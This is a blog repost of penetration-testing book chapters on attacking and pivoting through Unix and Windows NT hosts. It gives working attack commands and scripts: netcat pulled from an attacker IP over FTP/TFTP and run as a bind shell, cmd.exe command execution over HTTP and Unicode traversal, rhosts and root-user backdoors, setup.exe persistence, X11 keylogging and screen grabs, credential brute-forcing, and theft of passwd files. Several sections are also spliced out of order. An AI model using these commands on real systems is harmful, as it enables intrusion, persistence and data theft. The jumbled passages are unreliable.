Sunday, October 31, 2010

Unix

Unix
If you have found some way to execute a command on a Unix box, but there's no port 23 open - don't despair - you could try to export an xterm to your box (assuming that you are running an X-server, and you do not block incoming traffic on port 6000).
> xhost +victim
> your_exploit victim "/usr/X11R6/bin/xterm -display attacker:0.0&"
The above-mentioned command will export an xterm to your server (provided that xterm is located in /usr/X11R6/bin).
Say you want to rlogin to the host, and want to modify the relevant files to be able to rlogin to the host:
> your_exploit victim "echo + + >> /.rhosts"
> rlogin -l root victim
The possibilities are endless. You might want to add a UID 0, GID 0 user to the password file, with a blank password, then telnet and become root. Once you can execute a command on a UNIX host there should be no reason to be able to compromise the host.
We are assuming that the command is executed with "root" rights. If this is not the case, things can get slightly more difficult. Keep in mind that normal users cannot have processes that listens on ports lower than 1024. If you plan to get a shell spawning netcat make sure it listens on a port higher than 1024.

Saturday, October 30, 2010

What to execute?

What to execute?
A tool that I like using once command line access has been gained on a NT box is FSCAN.EXE (get it at Packetstorm or at www.sensepost.com/book/fscan.exe). It is a nifty command line portscanner that is packed with features. Once compromised, this portscanner is uploaded, and scanning on the rest of the network can begin. Make sure that you know where to scan - study your surroundings, like explained earlier. Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o c:\inetpub\wwwroot\sportscan.txt
Above portscan will identify all host running webservers, telnet daemons and MS-SQL, and will send the output directly to a file called sportscan.txt that is located in the webroot -ready to be surfed. The output of such a scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp 169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If we assume that 169.xxx.201.4 is located in the private network (and that the host where this scan was executed from is in the DMZ) it makes sense to try to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to compromise this host - that will give us access to resources on the private network. It might even be interesting to see what is running on the MS-SQL part of the server. We now want to be able to fire up SQL Enterprise server, hop via the compromised host right onto the SQL port on 169.xxx.201.4 (assuming of course that we cannot go there direct). How is this accomplished? One way could be to hook two instances of netcat together - something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have found that this method does not work that nice in all situations. Courtesy of a good friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exe takes 4 arguments:
tcpr
Tcpr starts to listen on listenPort, relaying (on a network level) all traffic to destinationIP on port destinationPort. Before it relays a connection it checks for the existence of killfile, and if so, it exists very quietly. The killfile is only there to make it easy to kill the relay as there is no kill `ps -ax | grep tcpr | awk '{print $1}'` available in the standard NT distribution. With tcpr we can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE program and source is available at www.sensepost.com/book/tcp.zip. (note: yeah I know its not there – ask me for it and I’ll send it to you).
Keeping all of above in mind, we could reach the SQL server by uploading tcpr.exe to the victim and executing the following command (let us assume that the site is vulnerable to the Unicode exploit - the attacker is using my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been uploaded to c:\temp using the upload page):
perl unicodexecute2.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 1443 c:\blah.txt'
Pointing your SQL enterprise manager to on port 53 will now reach the SQL server running on the inside of the private network. Assuming a blank SA password, we are home free. When we are finished with the SQL server, and now want to attack the webserver we simple do:
perl unicodexecute2.pl :80 'echo aaa > c:\blah.txt'
telnet 53
perl unicodexecute2.pl :80 'del c:\blah.txt'
perl unicodexecute2.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 80 c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS servers together, reaching deep within a network. If we assume that the server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the server would be as simple as:
perl rfpnew.pl -h -p 53 -C ''
By simply modifying the convert.pl script mentioned earlier to point to port 53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are working don't despair, it happens.

Friday, October 29, 2010

Port 80 and port 139 open.

Port 80 and port 139 open.
In this situation, let us assume that port 80 is open but no exploitable scripts or weaknesses are to be found, but that we have administrator right via NetBIOS. Uploading a program is trivial - we use NetBIOS. A simple way to execute a program is to use the NT remote user administration tool and to elevate the IUSR_machine user to administrator level. The next step is to make a copy of cmd.exe in the ../scripts directory and then simply calling cmd.exe with parameters from a browser. An easy way of doing this via command line is by using the following PERL script:
#!/usr/bin/perl
use Socket;
if ($#ARGV<1) {die "Usage: execute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$command=@ARGV[1];
print "Executing $command on $host:$port\n";
$command=~s/ /\%20/g;
$target = inet_aton($host);
# ---------------send the command
my @results=sendraw("GET /scripts/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
This script simply executes commands found in the second parameter using the copied cmd.exe in the scripts directory. With the IUSR_machine user elevated to administrator rights, all commands can be executed.

Thursday, October 28, 2010

Port 80 open and can execute

Port 80 open and can execute
Here's where things start to become more interesting. By "and can execute" I mean that you have some way of executing a command - be that via the Unicode exploit, an exploitable script, or MDAC. The easy way to get software on the host is to FTP it. Typically you will have the toolbox situated on your machine, and the host will FTP it from you. As such you will need an automated FTP script - you cannot open an FTP session directly as it is interactive and you probably do not have that functionality. To build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute multiple command by appending a "&" between commands. This script is very simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP reverse connections are not allowed into the network - NT has no support for passive FTP. It might also be that the machine is simply firewalled and it cannot make connections to the outside. A variation on it is TFTP - much easier. It uses UDP and it could be that the firewall allows UDP to travel within the network. The same it achieved by executing the following on the host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for certain exploits (remember when no one could figure out how to do redirects with Unicode?). There is yet another way of doing it - this time via rcp (yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts and rsh service running. Remote copy uses TCP, but there is no reverse connection to be worried about. Above two examples does not use any authentication - make sure you close your firewall and/or services after the attack!
In these examples one always assume that the host (victim) may establish some kind of connection to the attacker's machine. Yet, in some cases the host cannot do this - due to tight firewalling. Thus - the host cannot initiate a connection - the only allowed traffic is coming from outside (and only on selected ports). A tricky situation. Let us assume that we can only execute a command - via something like the MDAC exploit (thus via HTTP(s)). The only way to upload information is thus via HTTP. We can execute a command - we can write a file (with redirection). The idea is thus to write a page - an ASP/HTML page that will facilitate a file upload. This is easier said then done as most servers needs some server side components in order to achieve this. We need an ASP-only page, a page that does not need any server side components. Furthermore we sitting with the problem that most HTML/ASP pages contains characters that will "break" a file redirection - a ">" for instance. The command echo >> c:\inetpub\wwwroot\upload.htm wont work. Luckily there are some escape characters even in good old DOS. We need a script that will convert all potential "difficult" characters into their escaped version, and will then execute a "echo" command - appending it all together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while() {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >> c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by Scrippie/Phreak) takes two arguments - the first is the file that needs to be uploaded, the second the target/victim host's IP number. It makes use of another script - rfpnew.pl - a hack of the popular MDAC exploit by Rain Forrest Puppy with extra functionality to specify the port number and to pass the command to be executed as parameter. The convert script will create a file with the same filename as the one specified in c:\. It simply reads every line from the source file, converts all difficult characters and appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found on www.sensepost.com/book/rfpnew.pl. It don't list it here only because it rather large.The only part missing here is the actual file that is needed for uploading. After some searches on the Internet, I got hold of a .ASP & .INC file pair that neatly facilitates uploading to a server - without any server side components (credit to those that wrote it - I can not remember where I got it from). Once these two files are "built" (using above script) and transferred into the webroot, one can simply point ones browser to the correct URL and upload a toolbox via HTTP. The files upload.asp and upload.inc is to be found at www.sensepost.com/book/upload.asp and www.sensepost.com/book/upload.inc (I don't list them here because they are quite large). Be sure to move the uploaded files to the right spot - keep them in the same directory, and keep the filenames the same -upload.asp and upload.inc, unless you want to meddle with the ASP and INC files.
In a nutshell (for the script kids):
• get upload.asp, upload.inc and rfpnew.pl from the site.
• cut & paste the converter script to convert.pl and put it in the same directory
• perl convert upload.asp
• perl convert upload.inc
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.asp \upload.asp'
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.inc \upload.inc.
• surf to http://target/upload.asp.
• upload your good stuff
• inhale/exhale
The next step would be to execute something on the host. With the uploader in place, the obvious choice would be to upload netcat, and to thus create a DOS shell. In an environment where the host/target is not tightly firewalled this is a good idea. Where the host/target only has port 80 (or 443) open it is not such a good choice. See netcat has to listen on a port and since the only port open is 80, we can't use it. Technically speaking we can "bump" off the server and have netcat listening there, but this would just cause the administrator to investigate (as the website is now down). Note to keen developer - build a netcat like tool that will recognize an HTTP request - pass it on to the server (listening on another port) and pass other stuff straight to cmd.exe. In a situation where we cannot use netcat, our "tool" needs to be command line driven, and needs to be able to either create files as output, or to output results to standard out - where it can be redirected to a file. These files could simply be created directly into the webroot - in this way the attacker can view her results in a webbrowser. One now begin to understand the merit of command line port scanners (for NT) and things like windump that does not need any registry changes or install shields.
If the host is not tightly firewalled the obvious choice is netcat. Some default installations of Firewall-1 allows TCP communication to port 53 - it does makes sense to have netcat listening on that port in such cases (do a portscan to make sure... duh):
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit)
perl rfpnew.pl -h -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet 53
Trying ...
Connected to .
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to execute command line commands. Netcat also helps in situations where one does not have the luxury of time - such as in the examples where you only have NetBIOS access. To ensure that you keep connectivity with the target you might want to execute a "netcat -L -p 53 -e cmd.exe" sitting in /winnt/system32/setup.exe as explained (you could execute it from a batch file and convert the batch file to an EXE). When the host reboots it will be listening on port 53 for incoming connections. All you need to do is to probe port 53 continuously.

Wednesday, October 27, 2010

Port 21 open

Port 21 open
With only FTP open you will have a tougher time. If you have administrator rights you could still copy an executable into the correct directory - see 1, but you will not have the ability to reboot the host - you will have to wait until someone reboots it. You might want to try a D.O.S attack on the machine, but usually it will just hang (which is suspect, but will speed up a manual reboot). If you do not have administrator rights chances are slimmer - you need to upload a Trojan - again, be very careful what you upload - most machines nowadays have virus scanners. You could try to wrap netcat as something that the administrator will be tempted to execute - you know the drill - pamela.exe or whatever. If you do not make use of a known Trojan and there is no way for your custom Trojan to let you know that it was executed you will need some mechanism of checking if the program was executed - a (local) netcat in a loop with mail notification perhaps?

Tuesday, October 26, 2010

Only port 139 open - administrator rights.

Only port 139 open - administrator rights.
Copy the executable into :/winnt/system32/, and rename it to setup.exe. Now you have the choice of waiting for the system to reboot (NT have a history of doing this every now and again), or you could reboot the machine remotely. How? With a tool called psshutdown.exe. You can find it at http://www.sysinternals.com/psshutdown.htm. Note that you need administrator rights to be able to a) copy the software into the winnt/system32 directory and b) reboot the box remotely. Make sure that your choice of executable is well thought through - since you have NetBIOS access to the system you might want to check if there is any anti-virus software installed - if so - do not try to execute a Trojan such as Subseven/Netbus/BO - it will just screw up. Stick with netcat (see later). There are other ways to execute something at startup - with NetBIOS access you could also remotely edit the registry.
If you don't have administrator rights - read the next section - the same applies here.

Windows

Windows
We are faced with two distinct different problems - getting the tools on the host, and executing it. Getting the tools on the host could be as easy as FTP-ing it to the host (should a FTP server be running and we have a username and password - or anonymous FTP). If we have NetBIOS access to the host we can simply copy the software. If we just have NetBIOS access to the host - how do we execute the software? As you can see things are never as easy as it seems. Let us look at these problems by examining a few scenarios: (you will need to read all the sections as they really form one part - I refer to some things that is only contained in other parts)

Monday, October 25, 2010

a lot of the stuff in the HTTP/S part is repeated here – you might want to look there as well

a lot of the stuff in the HTTP/S part is repeated here – you might want to look there as well
where the attacker has gained access to a system. In real life it is here where the real problems begin - usually the machine that has been compromised is located in a DMZ, or even on an offsite network. Another problem could be that the compromised machine has no probing tools or utilities and such tools to work on a unknown platform is not always that easy. This chapter deals with these issues. Here we assume that a host is already compromised - the attacker have some way of executing a command on the target - be that inside of a Unix shell, or via a MDAC exploit. The chapter does not deal with rootkitting a host.
Some hosts are better for launching 2nd phase attacks than others - typically a Linux or FreeBSD host is worth more than a Windows NT webserver. Remember - the idea is to further penetrate a network. Unfortunately, you can not always choose which machines are compromised. Before we start to be platform specific, let us look at things to do when a host is compromised. The first step is to study one's surroundings. With 1:1NAT and other address hiding technologies you can never be too sure where you really are. The following bits of information could help (much of this really common sense, so I wont be explaining *why* you would want to do it):
1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)
All of the above will help to form an idea of the topology of the rest of the network - and as we want to penetrate further within the network its helpful. Let us assume that we have no inside knowledge of the inner network - that is - we don't know where the internal mailserver is located - we don't know where the databases are located etc. With no tools on the host (host as in parasite/host), mapping or penetrating the inner network is going to take very long. We thus need some way of getting a (limited) toolbox on the host. As this is quite platform specific, we start by looking at the more difficult platform - Windows.

Sunday, October 24, 2010

NetBIOS/SMB (139 TCP)

NetBIOS/SMB (139 TCP)
SMB is used by Windows machines (and with SAMBA even Unix machines) to communicate. A lot can be done through an open NetBIOS port. The first thing is to try to find out what shares are advertised on the server. Some servers is not configured well and will revealing its shares without a username or password (using a NULL connection).
>smbclient -L 209.xxx.68.66 -n "justatest"
Password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.3]
Sharename Type Comment
--------- ---- -------
winshares Disk FreeBSD Samba Server
IPC$ IPC IPC Service (Samba 2.0.3)
Server Comment
--------- -------
FILES Samba 2.0.3
Workgroup Master
--------- -------
(Note the -n switch - we don't want to call the server with our server name, just in case you are running SAMBA yourself) As you can see we find some lovely information on the server - the workgroup/domain name, the description and the Windows version (above server was a SAMBA server actually). Nice...Of course with a known password, or a blank password things are much more fun- you can list all the shares or you might want to access a drive:
> smbclient \\\\208.xxx.198.71\\c$ -U administrator -n "justatest"
Password:
Domain=[xxx] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \> ls
WINNT D 0 Fri Oct 8 23:24:02 1999
NTDETECT.COM AHSR 26816 Fri Aug 11 01:22:24 2000
ntldr AHSR 156496 Fri Aug 11 01:22:24 2000
boot.ini ASR 288 Sat Oct 9 00:30:56 1999
ffastun.ffo AH 208896 Fri Dec 29 00:35:34 2000
Program Files D 0 Fri Oct 8 23:28:10 1999
CONFIG.SYS A 0 Fri Oct 8 23:31:46 1999
AUTOEXEC.BAT A 0 Fri Oct 8 23:31:46 1999
IO.SYS AHSR 0 Fri Oct 8 23:31:46 1999
MSDOS.SYS AHSR 0 Fri Oct 8 23:31:46 1999
TEMP D 0 Fri Oct 8 23:31:50 1999
--cut--
You are now dropped into the smbclient "shell". From here you could do file transfers and the likes (see Chapter 6 - what now). You should really be able to figure out how "smbclient" works on your own...
You might also want to try to collect information with the "nmblookup" command - it helps sometimes to find the administrator username (if it was changed):
# nmblookup -A 160.124.19.99
Looking up status of 160.124.19.99
received 10 names
HUTSI <00> - B
SENSEPOST <00> - B
HUTSI <20> - B
HUTSI <03> - B
SENSEPOST <1e> - B
SENSEPOST <1d> - B
INet~Services <1c> - B
..__MSBROWSE__. <01> - B
IS~HUTSI <00> - B
BAAS <03> - B
Look at the entries marked <03>. Note "BAAS". "Baas" is the renamed administrator username. So, forget trying using "administrator" as a username.
You also want to have a look at VLAD (yet again). The pwscan.pl script does a good job of brute forcing NetBIOS (run it with switches -v and -B). The pwscan.pl script actually uses the "smbclient" command and inspects the output to find a valid username & password combination. If you want to brute a specific share, you will need to modify these lines (starting at line 610 in version 1.17):
$cmd = "smbclient";
$service = "//".$target."/ipc\$";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
to read something like $cmd = "smbclient";
$service = "//".$target."/sharename";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
An excellent paper on NetBIOS and the CIFS protocol by Hobbit can be found at http://packetstorm.securify.com/docs/infosec/cifs.txt. You really should try to read it.
Added: you should really look at a tool called CIS by David Litchfield (nowadays with @stake) It does a lot of cool stuff – and it does wonders for SMB.

Saturday, October 23, 2010

R-services (rshell, rlogin) (513,514 TCP)

R-services (rshell, rlogin) (513,514 TCP)
The R-services has used in the good old days of (campus) wide open Unix clusters of machines. It was used to hop from one server to the next with as little as possible effort - it's almost the same as telnet or SSH - it gives you a shell (or executing a command). Nowadays it is not very common to find Unix servers with rlogin or rshell ports open. Rshell is basically an extension of rlogin - Rshell will execute a command after logging in with the username and password specified. For the purposes of this document we can see rlogin and rsh as the same. These two services are protected by the ".rhosts" file(s). These files reside in a user directory and contain the IP numbers (or DNS names) and usernames on the remote machines that could assume control on the local machine.
But heck - I am not here to explain how rlogin and rsh works - the only thing that needs to be said here is that you could also try to get into a machine using it. It works much the same as telnet - all the same principles apply- try getting usernames etc. Sometimes rlogin is used in conjunction with other tricks - if you can get a "+ +" (allow anyone from anywhere) in the .rhost file you are made - see the X11 section.

X11 (6000 TCP)

X11 (6000 TCP)
X11 displays are (normally) protected on a network level - that is - there are no usernames and passwords involved. The display is actually a server and it listens on port 6000 (TCP). Control for clients to connect to the server is facilitated with the "xhost" command. By default it is set up in a way that nobody can connect to the display - default deny. As soon as programs are sharing the display (exporting an xterm to your display from another host or whatever) the user of the display have to add the IP number or DNS name of the client that wish to connect by running the command "xhost +". In theory this works perfectly nice, but in the real world people tend to just enter "xhost +" which allows anyone to connect to the display.
A host that is open for anyone to connect to the display is risking a lot, and could possibly be compromised. There are a few nice things to do when you find an open X11 display. One of the most common attacks is to capture all the keystrokes that is entered on the victim's host. The program "xkey" (available from www.hack.co.za) does this very neatly:
> xkey 196.37.xxx.14:0.0
..you wait..time passes...and then:
ssh -l root -<>P 196.37.xxx.1
weirdshitometer
Its clear why we are excited about key captures. A open X11 display can also be "copied" - the root window (the main window) can be copied, and displayed. Each window have a unique ID - you can specify which window you want to copy, but for a start let us get the root window:
> xwd -display 196.37.xxx.14 -root -silent -out /tmp/screendump
..wait for the transfer...
> xv /tmp/screendump
We are using xv to display the screen - xv can read the xwd format straight off. The screen might include some interesting data - if you get a screensaver - bad luck - use finger to see when someone is active. To get a list of windows that are open on the display you might want to issue the command:
> xwininfo -display -all -root | grep \"
(extract)
0x3000e6f "Netscape: Find": ("findDialog_popup" "Netscape") 378x144+536+227 +536+227
0x1c0000c "FvwmButtons": ("FvwmButtons" "FvwmButtons") 385x68+0+0 +635+4
0x2400005 "xload": ("xload" "XLoad") 106x52+2+2 +637+6
0x2000002 "Desktop": ("FvwmPager" "FvwmModule") 105x64+277+2 +912+6
0x30001ec "Netscape": ("communicator-4_72_bin" "Netscape") 1x1+0+0 +0+0
0x3000172 "Communicator Bookmarks for Roelof Temmingh": ("bookmarks" "Netscape") 872x622+10+10 +10+10

Friday, October 22, 2010

Proxies (80,1080,3128,8080 TCP)

Proxies (80,1080,3128,8080 TCP)
A proxy is used to relay HTTP and HTTPs connection - if you don't know what a proxy is you should not be reading any of this. If we find a proxy port open on a host it excites us because it could be used to access other webservers that are located behind a firewall if not configured correctly. Just in the same way that your proxy server allows you to connect to it and surf sites that are located on the outside of your server, a victim's proxy server could serve as a gateway to reach machines that are normally not accessible. As example - a firewall is protecting the 196.xxx.201.0/24 network. The intranet server is located on 196.xxx.201.10, but the firewall prohibits communication to port 80 (or 443). Port 3128 on 196.xxx.201.5 is open, and the Squid proxy is not set up correctly (it allows anyone to connect to it). Change your proxy properties in your local browser to point to 196.xxx.201.5 and hit 196.xxx.201.10 and access the intranet server.
You can even run an exploit over a proxy. The only difference in reaching the machine direct and via a proxy is that the full URL needs to be send, e.g.:
Without proxy (for example Unicode exploit):
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0
With proxy:
GET http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0
You will need to make some changes to your exploit's code, but generally it wouldn't need to be difficult. Remember to point your exploit to the proxy address and port!
You could even use a proxy as a very primitive portscanner. By requesting a URL on a different port - say GET http://victim:port/ HTTP/1.0 you might get a different response. Some proxies - such as Squid - does not even try to pass traffic with a destination port lower then 1024 (other than 70,80, and 443). Traffic directed to ports higher than 1024 is allowed - by interpreting responses from the proxy we can find out if the port is open or closed. Hereby a simple PERL script that works OK with Squid:
---proxyscan.pl---
#!/usr/bin/perl
use Socket;
if ($#ARGV<0) {die "Usage: proxyscan.pl proxyIP:port:scanIP:beginrange:endrange
($host,$port,$scanIP,$br,$er)=split(/:/,@ARGV[0]);
print "Testing $scanIP via $host:$port:\n";
$target = inet_aton($host);
for ($mp=$br; $mp <= $er; $mp++) {
my @results=sendraw("GET http://$scanIP:$mp/ HTTP/1.0\r\n\r\n");
#system "sleep 2";
foreach $line (@results){
if ($line =~ /refused/) {print "Port $mp on $scanIP is closed\n"}
if ($line =~ /Zero/) {print "Port $mp on $scanIP is open\n"}
}
}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
> perl proxyscan.pl 160.124.19.103:3128:160.124.19.98:5999:6002
Testing 160.124.19.98 via 160.124.19.103:3128:
Port 5999 on 160.124.19.98 is closed

Thursday, October 21, 2010

SNMP (161 UDP)

SNMP (161 UDP)
SNMP is short for Simple Network Management Protocol and it does just that - it is used to monitor and manage hosts and routers. The majority of users of SNMP use it to monitor routers - to show bandwidth utilization and to send messages to the SNMP monitoring station when a link goes down. The most common SNMP monitoring software is HP Openview. Attackers use SNMP for discovering networks and possibly to change or disrupt networking. SNMP on host (especially NT workstations) are fun - it reveals a lot of interesting information.
SNMP uses a community name for access control - if you don't have the right community name you cannot get information from the host or router. The easiest way of checking a valid community name is using the snmpwalk command (it is bundled with the ucd-snmp package):
> snmpwalk 196.35.xxx.79 xmax
system.sysDescr.0 = Cisco Internetwork Operating System Software
IOS (tm) 3000 Software (CPA25-CG-L), Version 11.0(6), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1996 by cisco Systems, Inc.
Compiled Thu 21-Mar-96 00:29 by hochan
system.sysObjectID.0 = OID: enterprises.9.1.57
---blah blah---
One can see in the above example that a valid community name is "xmax". There are actually two sorts of community string - a "read" string and a "write" string. With the write string you would be able to change information on the host or the router - such as routing tables, IP addresses assigned to interfaces etc. - with a "read" string you can only get the information. SNMP uses UDP so make sure you allow UDP to enter your network. Just like usernames and passwords, community names can also be brute forced. Again we make use of VLAD's pwscan.pl PERL script. Populate the "community.db" file and let rip:
perl pwscan.pl -v -M 196.35.xxx.79
Did I mention that you could use pwscan.pl to scan more than one IP number, using simple scripting?
> cat > toscanips.txt
196.34.121.1
196.7.18.120
160.124.19.98
^D
> cat > goscan
#!/bin/tcsh
foreach a (`cat toscanips.txt`)
echo working on $a ...
perl pwscan.pl -v -M $a
continue
end
^D
> chmod u+x goscan
> ./goscan
working on 196.34.121.1 ...
--blah blah--
Real easy eh? A Windows program that will provide an excellent "viewer" for SNMP information is Solarwind's IP browser (get it at http://www.solarwinds.net/) - it will try to perform a SNMP walk of all pingable machines in a network. It is not a freeware application, but it's really good. Another nice feature is that you can supply your own community strings, and can edit the information if the string allows you to update information - e.g. a "write" string.
Port 6000 on 160.124.19.98 is open
Port 6001 on 160.124.19.98 is closed
Port 6002 on 160.124.19.98 is closed
It might be that you want to change some things in this code - I have seen that when the server does not close the connection (the port is open and there is something listening on the other side, but no data is send) the script hangs around for a real long time. This is due to Squid not closing the connection after a while, and I don't see a quick workaround for it (and I am way too lazy for investigate it). It does work fine...provided you have some time to kill. See also the section on network level attacks for >1024 destination port tricks.
Apparently proxy servers can also be used to send email anonymously but I can't get any good examples of this.0x300001c " ": ("mozillaComponentBar" "Netscape") 5x5+50+50 +50+50
0x3000001 "Netscape": ("communicator-4.72.bin" "Netscape") 1x1+0+0 +0+0
If the victim is using more than one virtual screen you will be able to see the other screen listed (you won't see it with xwd). With a bit of luck you get a Netscape browser open. To get Netscape open on an open X11 display is very good news as you can remotely control Netscape. Fancy telling Netscape to open /etc/passwd and doing another screen capture? Here is how :
> netscape -display -remote 'openFile(/etc/passwd)'
> xwd -display -root -silent -out /tmp/netscape_
> xv /tmp/netscape
You can even tell Netscape to write files. It won't work trying to overwrite files - you will find a nasty Netscape popup, but you can write files that do not exist. You could create a page with "+ +" on it, redirect the browser to the page, and, if Netscape is running as root, save it to /.rhosts. Be sure to have a close look at http://home.netscape.com/newsref/std/x-remote.html if you find an open X11 running Netscape.
In theory you could also send keystrokes to an open X display. I found the program "xpusher.c" at http://www.hack.co.za, fiddled around with it, but it does not seem to work. There might be other programs around. Keep looking...

Wednesday, October 20, 2010

POP3 (110 TCP)

POP3 (110 TCP)
POP3 must be one of the most common protocols found on the Internet today - POP3 is used to download email. Some time ago the QPOP server was exploitable. As is the case with FTP, one has to have a mechanism for finding vulnerable versions of POP3 servers. The PERL script used in the FTP section is just as applicable to the POP3 servers as to the FTP servers. Some exploits require that you supply a valid username and password - some require nothing.
A POP3 server can be used to verify a user's password, and therefor can be used to do a brute force attack on a username and password. Some of the older POP3 servers also only logged the first incorrect attempt - you could try as any combinations with only one entry in the logfile. The "pwscan.pl" script that forms part of VLAD has the possibility to brute force POP3 passwords - it is so easy that I am not going to spend more time on it (see the telnet section).
Another use for POP3 is to access other people's email without their knowledge. To be able to do this you will obviously need the correct password. The advantage is that most POP3 clients can be set to keep the mail on the server - to thus make a copy of the mail. When the legit user will connect the mail will still be there.

Tuesday, October 19, 2010

TFTP (69 UDP)

TFTP (69 UDP)
TFTP is your friend. TFTP does not require any authentication - it is usually used for network equipment to get their configurations at boot time. A router can be set up to TFTP to a Unix/Windows box and get its config from this box. TFTP makes use of the UDP protocol - and is as such connectionless.
Normally a TFTP server will allow the attacker to transfer any file to him/her (/etc/shadow might be a start). The more recent version of the server will restrict you to only access files that are readable by everyone, and you might find yourself "jailed" in a directory - like with FTP. The other restriction on the more recent servers is that the only files that can be written are those that already exists and that are writeble by everyone. The other difference between TFTP and FTP is that you need to know what file you want - there is no "ls" command, but then again, you can make some intelligent choices.
Let us look at an example (this is really easy, but what the heck). First I use nmap to find a machine out there with an open TFTP port. Note that for this scan (a UDP scan) you'll need to allow UDP (duh) and ICMP to enter your network, as nmap looks at ICMP port unreachable messages to determine if the port is open.
# nmap -+output
n -sU -iR -p 69
>tftp
tftp> connect 129.xxx.121.46
> get /etc/password /tmp/passwd
tftp> get /etc/passwd /tmp/passwd
Received 679 bytes in 1.9 seconds
tftp> q
/> more /tmp/passwd root:*:0:0:System Administrator:/root:/usr/contrib/bin/bash
daemon:*:1:1:System Daemon:/:/sbin/nologin
sys:*:2:2:Operating System:/tmp:/sbin/nologin
bin:*:3:7:BSDI Software:/usr/bsdi:/sbin/nologin
operator:*:5:5:System Operator:/usr/opr:/sbin/nologin
uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico
games:*:7:13:Games Pseudo-user:/usr/games:/sbin/nologin
news:*:9:8:USENET News,,,:/var/news/etc:/sbin/nologin
demo:*:10:13:Demo User:/usr/demo:/sbin/nologin
www:*:51:84:WWW-server:/var/www:/sbin/nologin
nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin
nonroot:*:65534:32766:Non-root root user for NFS:/nonexistent:/sbin/nologin
Note - I transfer the /etc/passwd file to the temp directory. If you do the TFTP as root, and you are not careful, you will overwrite your own /etc/password file :). We have password file - it is shadowed - but we can now easily get any other file (the real password file etc.).

Sunday, October 17, 2010

Saturday, October 16, 2010

Finger (79 TCP)

This summary is not available. Please click here to view the post.

NTP (123 UDP)

NTP (123 UDP)
